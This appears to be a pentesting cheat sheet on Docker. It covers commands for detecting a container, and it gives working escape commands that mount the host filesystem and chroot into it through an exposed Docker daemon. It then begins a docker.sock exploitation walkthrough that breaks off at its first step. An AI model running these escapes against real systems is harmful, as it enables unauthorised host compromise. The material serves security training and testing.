Docker is an open-source containerization platform used for developing, deploying, and managing applications in lightweight virtualized environments called containers.
Docker Architecture
Practical (Exploitation)
Checking if we're in Container
List running processes
ps aux
If there are few no. of process is running then you might be in docker.
Look for docker.env file
cd / && ls -lah
If you see .dockerenv in base dir, then you’re in a container.
Those pesky cgroups
Navigating to “/proc/1” and then catting the “cgroups” file (cat cgroup).
Use following code to Verify you are in Docker
if [ -f /.dockerenv ]; then
echo "I'm inside matrix ;(";
else
echo "I'm living in real world!";
fi
Docker Escaping Techniques
1. Escape via Exposed Docker Daemon
Run the following cmd
If we’re in bash
docker run -v /:/mnt --rm -it bash chroot /mnt sh
If we’re in alpine
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
5. Exploitation of docker.sock in /var/run or /run if you're ROOT
Check /var/run dir for docker.sock file, if it’s there and you’re root then you can exploit it. First see that you can use curl cmd, if not then wget static curl from your system for static curl see the arch of target machine and get the static curl from Resource
STEP1: Listing the images of the container of the host